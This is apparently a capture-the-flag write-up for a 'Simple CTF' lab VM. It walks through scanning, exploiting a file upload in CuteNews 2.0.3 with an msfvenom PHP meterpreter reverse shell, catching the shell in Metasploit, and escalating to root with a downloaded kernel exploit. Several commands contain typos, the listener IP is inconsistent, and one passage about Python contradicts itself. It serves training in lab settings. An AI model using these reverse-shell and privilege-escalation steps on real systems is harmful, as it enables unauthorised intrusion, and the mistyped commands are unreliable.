Simple CTF is a boot2root that focuses on the basics of web based hacking. Once you load the VM, treat it as a machine you can see on the network, i.e. you don't have physical access to this machine. Therefore, tricks like editing the VM's BIOS or Grub configuration are not allowed. Only remote attacks are permitted. /root/flag.txt is your ultimate goal. Therefore, in this article I will walk you through the whole method of completing this challenge.
We start by identifying our target with the following command :
netdiscover
Our target is192.168.0.104
Then move on to scanning our target with nmap : nmap -A -p- 192.168.0.104
On scanning, you will find that port 80 is open. So we will now open it on our browser.
Now we can see that our target is using CuteNews v.2.0.3 and the good news is it is exploitable, so let's search for its exploit :
searchsploit cutenews 2.0.3
Upon searching for the exploit we can see that we have the path for the exploit. Follow the path and go to the exploit's ".txt" file. In the text file you find the instructions to upload the file. First thing it tells us to register on the website in order to have the power to upload a file. To register it will ask you to give your username and password. When you complete the steps of registering them it will redirect you to the following window :
Now we need to upload the file so make it with the help of msfvenom :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.103 lport=4444 -f raw
Copy the code from personal options
Now we will use dirb to find the directories. And for that type :
dirb hhtp://192.168.0.104
It will show you the uploads directory. This is the directory where your file will be uploaded. Open the directory in the browser and you find your uploaded file there.
Now go to metasploit and type :
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 4444
exploit
Executing the above exploit we will have a meterpreter’s session. Further type:
shell
And if you type the combination of two following commands to import the python file to reach the terminal then it will not work as the version of python is updated :
echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py
python /tmp/asdf.py
Now you will reach the terminal. Here, type the following command to know the version of kernel :
lsb release -a
As we know that version of the kernel is vulnerable, consequently we will download its exploit by the command as given below :
wget https//www.exploit-db.com/download/36746
wget https//www.exploit-db.com/download/36746
This will install the exploit successfully. Moving forward, we will compile the file :
gcc 36746.c -o access -static
Now we will open the file access :
./access
Then type id to know the users and then type :
cd /root
and will take you into the /root. Further type :
ls
It will list the files and one of those files will be flag.txt. To read the flag type :
cat flag.txt
